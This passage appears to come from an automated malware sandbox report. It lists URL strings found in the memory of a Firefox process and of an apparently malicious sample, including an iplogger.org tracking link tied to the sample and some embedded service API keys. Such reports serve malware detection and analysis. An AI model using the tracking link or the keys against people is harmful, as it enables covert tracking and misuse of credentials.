Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF9A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B44B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8626000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF95A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtabhttps://getpocket.com/explore
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabhttps://www.mozilla.org/privacy/fir
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF9A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://activity-stream/lib/ActivityStreamMe
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morechrome://global/skin/icons/pocket.svg
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-learn-more
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF9A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsAllows
Source: firefox.exe, 0000001F.00000002.2898358216.00000294A9503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001F.00000002.2895107226.00000294A924C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001F.00000003.2762399051.00000294ABF77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B41DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B41DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3005210447.00002A858BA04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001F.00000002.2986949900.00000294B4375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/eudict
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2891102981.00000294A7DFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitimprovesearch.topSiteSearchShortcuts.havePinnedFetches
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: 3e3be1ecc4.exe, 0000000D.00000003.3089794015.00000000056E1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089137215.00000000056E1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089580514.00000000057E4000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089961205.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3090206271.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1Pz8p7
Source: firefox.exe, 0000001F.00000002.2986949900.00000294B4375000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2844134582.00000294ADE66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001F.00000002.2903676258.00000294ABDA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2923306318.00000294ACFF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2843152872.00000294ACFF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001F.00000002.2921314720.00000294ACE4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2923306318.00000294ACF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001F.00000002.2969171257.00000294AF67B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002002577.00000C581CF11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001F.00000002.2969171257.00000294AF67B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2964723813.00000294AEC5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comextensions.update.requireBuiltInCertsdfbd59db-d7d5-4efe-b379-5c3af4
Source: firefox.exe, 0000001F.00000003.2867803713.00000294A9F39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2768612925.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A92D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2765135318.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001F.00000003.2867803713.00000294A9F39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2768612925.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892123688.00000294A827D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2765135318.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001F.00000003.2867803713.00000294A9F39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2768612925.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892123688.00000294A827D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2765135318.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001F.00000002.2884773158.000002949C4D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000003.2867803713.00000294A9F39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2768612925.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2765135318.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001F.00000003.2867803713.00000294A9F39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2768612925.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892123688.00000294A827D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2765135318.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/Web
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001F.00000002.2986949900.00000294B43CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B446D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B44B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/jar:file:///C:/Program%20Files/Mozilla%20Firefox/browser/features/webcom
Source: firefox.exe, 0000001F.00000002.2986949900.00000294B43CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2976050815.00000294B0083000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B44B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
